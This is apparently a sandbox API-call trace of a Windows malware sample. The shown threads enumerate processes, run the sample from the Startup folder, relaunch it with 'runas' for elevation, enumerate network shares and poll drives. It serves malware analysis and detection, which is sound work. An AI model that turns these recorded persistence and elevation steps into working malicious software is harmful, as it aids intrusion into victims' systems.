	[0188.467] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.467] lstrlenW (lpString="svchost.exe") returned 11
	[0188.467] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0188.467] lstrlenW (lpString="spoolsv.exe") returned 11
	[0188.467] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.468] lstrlenW (lpString="svchost.exe") returned 11
	[0188.468] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0188.469] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0188.469] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0188.469] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0188.469] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0188.469] lstrlenW (lpString="audiodg.exe") returned 11
	[0188.469] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0188.470] lstrlenW (lpString="Memory Compression") returned 18
	[0188.470] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0188.470] lstrlenW (lpString="taskhostw.exe") returned 13
	[0188.470] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0188.471] lstrlenW (lpString="sihost.exe") returned 10
	[0188.471] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0188.471] lstrlenW (lpString="svchost.exe") returned 11
	[0188.471] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0188.471] lstrlenW (lpString="taskhostw.exe") returned 13
	[0188.472] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0188.472] lstrlenW (lpString="explorer.exe") returned 12
	[0188.472] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0188.472] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0188.472] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0188.473] lstrlenW (lpString="SearchUI.exe") returned 12
	[0188.473] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0188.473] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0188.473] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0188.474] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0188.474] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x9e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0188.474] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0188.474] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0188.474] lstrlenW (lpString="dllhost.exe") returned 11
	[0188.474] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0xd50, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0188.475] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0188.475] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf04, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0188.475] lstrlenW (lpString="cmd.exe") returned 7
	[0188.475] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0188.476] lstrlenW (lpString="conhost.exe") returned 11
	[0188.476] Process32NextW (in: hSnapshot=0x2cc, lppe=0x24efd2c | out: lppe=0x24efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0188.476] CloseHandle (hObject=0x2cc) returned 1
	[0188.476] Sleep (dwMilliseconds=0x1f4) 

Thread:
	id = 33
	os_tid = 0xd68

	[0158.998] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7ace38
	[0158.998] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x787798
	[0158.998] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7acfd0
	[0158.998] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7acfd0, Size=0x20) returned 0x74f0a8
	[0158.998] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7ace50
	[0158.998] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ace50, Size=0x20) returned 0x74efe0
	[0158.999] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0158.999] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0158.999] Wow64DisableWow64FsRedirection (in: OldValue=0x25eff20 | out: OldValue=0x25eff20*=0x0) returned 1
	[0158.999] lstrlenW (lpString="kernel32.dll") returned 12
	[0158.999] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f0a8 | out: hHeap=0x710000) returned 1
	[0158.999] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0158.999] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74efe0 | out: hHeap=0x710000) returned 1
	[0158.999] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x787798, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 0x77
	[0159.010] ShellExecuteExW (in: pExecInfo=0x25eff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x25eff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1
	[0185.905] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x40690d8
	[0185.905] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x40690d8, Size=0x20) returned 0x3929db8
	[0185.905] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x40690d8
	[0185.906] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x40690d8, Size=0x20) returned 0x3929b10
	[0185.906] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0185.906] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0185.906] Wow64DisableWow64FsRedirection (in: OldValue=0x0 | out: OldValue=0x0) returned 0
	[0185.910] lstrlenW (lpString="kernel32.dll") returned 12
	[0185.910] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929b10 | out: hHeap=0x710000) returned 1
	[0185.910] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0185.910] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929db8 | out: hHeap=0x710000) returned 1
	[0185.910] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0185.910] lstrlenW (lpString="runas") returned 5
	[0185.910] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ace38 | out: hHeap=0x710000) returned 1
	[0185.910] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0
	[0185.910] ReleaseMutex (hMutex=0x1ec) returned 1
	[0185.910] Sleep (dwMilliseconds=0x1f4) 
	[0186.547] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x0
	[0186.547] ReleaseMutex (hMutex=0x1ec) returned 1
	[0186.547] Sleep (dwMilliseconds=0x1f4) 
	[0187.303] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102
	[0187.304] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x754a30 | out: hHeap=0x710000) returned 1

Thread:
	id = 34
	os_tid = 0xd6c

	[0159.000] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7ad000
	[0159.000] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7ad000, Size=0x20) returned 0x74f008
	[0159.000] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74f008, Size=0x40) returned 0x72da28
	[0159.000] GetLogicalDrives () returned 0x4
	[0159.000] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x7ae3c8
	[0159.001] GetComputerNameW (in: lpBuffer=0x7ae3cc, nSize=0x26eff64 | out: lpBuffer="NQDPDE", nSize=0x26eff64) returned 1
	[0159.001] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1000) returned 0x76aea8
	[0159.001] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26eff34 | out: lphEnum=0x26eff34*=0x7250e0) returned 0x0
	[0159.002] WNetEnumResourceW (in: hEnum=0x7250e0, lpcCount=0x26eff30, lpBuffer=0x76aea8, lpBufferSize=0x26eff38 | out: lpcCount=0x26eff30, lpBuffer=0x76aea8, lpBufferSize=0x26eff38) returned 0x103
	[0159.002] WNetCloseEnum (hEnum=0x7250e0) returned 0x0
	[0159.002] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x26eff34 | out: lphEnum=0x26eff34*=0x76ea68) returned 0x0
	[0159.184] WNetEnumResourceW (in: hEnum=0x76ea68, lpcCount=0x26eff30, lpBuffer=0x76aea8, lpBufferSize=0x26eff38 | out: lpcCount=0x26eff30, lpBuffer=0x76aea8, lpBufferSize=0x26eff38) returned 0x0
	[0159.184] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1000) returned 0x7bf400
	[0159.185] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x76aea8, lphEnum=0x26eff08 | out: lphEnum=0x26eff08*=0x724fa0) returned 0x0
	[0159.192] WNetEnumResourceW (in: hEnum=0x724fa0, lpcCount=0x26eff04, lpBuffer=0x7bf400, lpBufferSize=0x26eff0c | out: lpcCount=0x26eff04, lpBuffer=0x7bf400, lpBufferSize=0x26eff0c) returned 0x103
	[0159.192] WNetCloseEnum (hEnum=0x724fa0) returned 0x0
	[0159.192] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1000) returned 0x7c0408
	[0159.192] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x76aec8, lphEnum=0x26eff08 | out: lphEnum=0x26eff08*=0x0) returned 0x4b8
	[0174.572] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1000) returned 0x4080030
	[0174.572] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x76aee8, lphEnum=0x26eff08 | out: lphEnum=0x26eff08*=0x0) returned 0x4c6
	[0174.578] WNetEnumResourceW (in: hEnum=0x76ea68, lpcCount=0x26eff30, lpBuffer=0x76aea8, lpBufferSize=0x26eff38 | out: lpcCount=0x26eff30, lpBuffer=0x76aea8, lpBufferSize=0x26eff38) returned 0x103
	[0174.578] WNetCloseEnum (hEnum=0x76ea68) returned 0x0
	[0174.578] GetLogicalDrives () returned 0x4
	[0174.578] Sleep (dwMilliseconds=0x64) 
	[0175.455] GetLogicalDrives () returned 0x4
	[0175.455] Sleep (dwMilliseconds=0x64) 
	[0176.135] GetLogicalDrives () returned 0x4
	[0176.135] Sleep (dwMilliseconds=0x64) 
	[0176.490] GetLogicalDrives () returned 0x4
	[0176.490] Sleep (dwMilliseconds=0x64) 
	[0176.856] GetLogicalDrives () returned 0x4
	[0176.856] Sleep (dwMilliseconds=0x64) 
	[0177.348] GetLogicalDrives () returned 0x4
	[0177.348] Sleep (dwMilliseconds=0x64) 
	[0177.709] GetLogicalDrives () returned 0x4
	[0177.709] Sleep (dwMilliseconds=0x64) 
	[0178.277] GetLogicalDrives () returned 0x4
	[0178.277] Sleep (dwMilliseconds=0x64) 
	[0178.795] GetLogicalDrives () returned 0x4
	[0178.795] Sleep (dwMilliseconds=0x64) 
	[0179.226] GetLogicalDrives () returned 0x4
	[0179.226] Sleep (dwMilliseconds=0x64) 
	[0179.475] GetLogicalDrives () returned 0x4
	[0179.475] Sleep (dwMilliseconds=0x64) 
	[0179.668] GetLogicalDrives () returned 0x4
	[0179.668] Sleep (dwMilliseconds=0x64) 
	[0179.865] GetLogicalDrives () returned 0x4
	[0179.865] Sleep (dwMilliseconds=0x64) 
	[0180.119] GetLogicalDrives () returned 0x4
	[0180.120] Sleep (dwMilliseconds=0x64) 
	[0180.265] GetLogicalDrives () returned 0x4
	[0180.265] Sleep (dwMilliseconds=0x64) 
	[0180.415] GetLogicalDrives () returned 0x4
	[0180.415] Sleep (dwMilliseconds=0x64) 
	[0180.640] GetLogicalDrives () returned 0x4
	[0180.640] Sleep (dwMilliseconds=0x64) 
	[0180.819] GetLogicalDrives () returned 0x4
	[0180.819] Sleep (dwMilliseconds=0x64) 
	[0181.193] GetLogicalDrives () returned 0x4
	[0181.193] Sleep (dwMilliseconds=0x64) 
	[0181.341] GetLogicalDrives () returned 0x4
	[0181.341] Sleep (dwMilliseconds=0x64) 
	[0181.534] GetLogicalDrives () returned 0x4
	[0181.534] Sleep (dwMilliseconds=0x64) 
	[0181.642] GetLogicalDrives () returned 0x4
	[0181.642] Sleep (dwMilliseconds=0x64) 
	[0181.750] GetLogicalDrives () returned 0x4
	[0181.750] Sleep (dwMilliseconds=0x64) 
	[0181.861] GetLogicalDrives () returned 0x4
	[0181.861] Sleep (dwMilliseconds=0x64) 
	[0181.970] GetLogicalDrives () returned 0x4
	[0181.971] Sleep (dwMilliseconds=0x64) 
	[0182.096] GetLogicalDrives () returned 0x4
	[0182.096] Sleep (dwMilliseconds=0x64) 
	[0182.207] GetLogicalDrives () returned 0x4
	[0182.208] Sleep (dwMilliseconds=0x64) 
	[0182.342] GetLogicalDrives () returned 0x4
	[0182.342] Sleep (dwMilliseconds=0x64) 
	[0182.588] GetLogicalDrives () returned 0x4
	[0182.588] Sleep (dwMilliseconds=0x64) 
	[0182.805] GetLogicalDrives () returned 0x4
	[0182.806] Sleep (dwMilliseconds=0x64) 
	[0182.990] GetLogicalDrives () returned 0x4
	[0182.990] Sleep (dwMilliseconds=0x64) 
	[0183.520] GetLogicalDrives () returned 0x4
	[0183.520] Sleep (dwMilliseconds=0x64) 
	[0183.862] GetLogicalDrives () returned 0x4
	[0183.862] Sleep (dwMilliseconds=0x64) 
	[0184.032] GetLogicalDrives () returned 0x4
	[0184.032] Sleep (dwMilliseconds=0x64) 
	[0184.364] GetLogicalDrives () returned 0x4
	[0184.365] Sleep (dwMilliseconds=0x64) 
	[0184.492] GetLogicalDrives () returned 0x4
	[0184.492] Sleep (dwMilliseconds=0x64) 
	[0184.667] GetLogicalDrives () returned 0x4
	[0184.667] Sleep (dwMilliseconds=0x64) 
	[0184.797] GetLogicalDrives () returned 0x4
	[0184.797] Sleep (dwMilliseconds=0x64) 
	[0184.968] GetLogicalDrives () returned 0x4
	[0184.968] Sleep (dwMilliseconds=0x64) 
	[0185.210] GetLogicalDrives () returned 0x4
	[0185.210] Sleep (dwMilliseconds=0x64) 
	[0185.520] GetLogicalDrives () returned 0x4
	[0185.523] Sleep (dwMilliseconds=0x64) 
	[0185.911] GetLogicalDrives () returned 0x4
	[0185.911] Sleep (dwMilliseconds=0x64) 
	[0186.232] GetLogicalDrives () returned 0x4
	[0186.232] Sleep (dwMilliseconds=0x64) 
	[0186.500] GetLogicalDrives () returned 0x4
	[0186.500] Sleep (dwMilliseconds=0x64) 
	[0186.662] GetLogicalDrives () returned 0x4
	[0186.662] Sleep (dwMilliseconds=0x64) 
	[0186.861] GetLogicalDrives () returned 0x4
	[0186.861] Sleep (dwMilliseconds=0x64) 
	[0187.048] GetLogicalDrives () returned 0x4
	[0187.048] Sleep (dwMilliseconds=0x64) 
	[0187.329] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0187.329] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72da28 | out: hHeap=0x710000) returned 1

Thread:
	id = 35
	os_tid = 0xd70

	[0159.188] GetTickCount () returned 0x113869b
	[0159.188] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x24) returned 0x725e68
	[0159.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x725e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b4
	[0159.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x725e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b8
	[0159.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x725e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bc
	[0159.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x725e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0
	[0159.190] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76fb98
	[0159.190] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76fb98, Size=0x20) returned 0x74eef0
	[0159.191] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76fb98
	[0159.191] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76fb98, Size=0x20) returned 0x74ef18
	[0159.191] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0159.191] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0159.191] Wow64DisableWow64FsRedirection (in: OldValue=0x282ff7c | out: OldValue=0x282ff7c*=0x0) returned 1
	[0159.191] lstrlenW (lpString="kernel32.dll") returned 12
	[0159.191] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74eef0 | out: hHeap=0x710000) returned 1
	[0159.191] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0159.191] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74ef18 | out: hHeap=0x710000) returned 1
	[0159.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x756768, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4
	[0159.192] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0159.396] GetTickCount () returned 0x1138766
	[0159.396] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0159.635] GetTickCount () returned 0x1138850
	[0159.635] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0160.315] GetTickCount () returned 0x1138b00
	[0160.315] GetTickCount () returned 0x1138b00
	[0160.315] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0160.629] GetTickCount () returned 0x1138c38
	[0160.629] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0160.916] GetTickCount () returned 0x1138d52
	[0160.916] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0161.089] GetTickCount () returned 0x1138dfe
	[0161.089] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0161.335] GetTickCount () returned 0x1138ef8
	[0161.335] GetTickCount () returned 0x1138ef8
	[0161.335] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0161.632] GetTickCount () returned 0x1139020
	[0161.632] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0161.840] GetTickCount () returned 0x11390ec
	[0161.840] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0162.121] GetTickCount () returned 0x1139205
	[0162.121] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0162.279] GetTickCount () returned 0x11392a1
	[0162.279] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0162.664] GetTickCount () returned 0x1139428
	[0162.664] GetTickCount () returned 0x1139428
	[0162.664] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0162.963] GetTickCount () returned 0x1139551
	[0162.963] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0163.289] GetTickCount () returned 0x1139699
	[0163.289] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0163.785] GetTickCount () returned 0x113988d
	[0163.785] GetTickCount () returned 0x113988d
	[0163.785] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0164.392] GetTickCount () returned 0x1139ade
	[0164.392] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0164.636] GetTickCount () returned 0x1139bd8
	[0164.636] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0164.942] GetTickCount () returned 0x1139d11
	[0164.942] GetTickCount () returned 0x1139d11
	[0164.942] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0165.164] GetTickCount () returned 0x1139dec
	[0165.164] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0165.351] GetTickCount () returned 0x1139ea7
	[0165.351] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0165.531] GetTickCount () returned 0x1139f53
	[0165.531] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0165.710] GetTickCount () returned 0x113a00f
	[0165.710] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0165.888] GetTickCount () returned 0x113a0ba
	[0165.888] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0166.177] GetTickCount () returned 0x113a1e3
	[0166.177] GetTickCount () returned 0x113a1e3
	[0166.177] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0166.406] GetTickCount () returned 0x113a2be
	[0166.406] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
	[0166.720] GetTickCount () returned 0x113a3f7
	[0166.720] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x64) returned 0x102
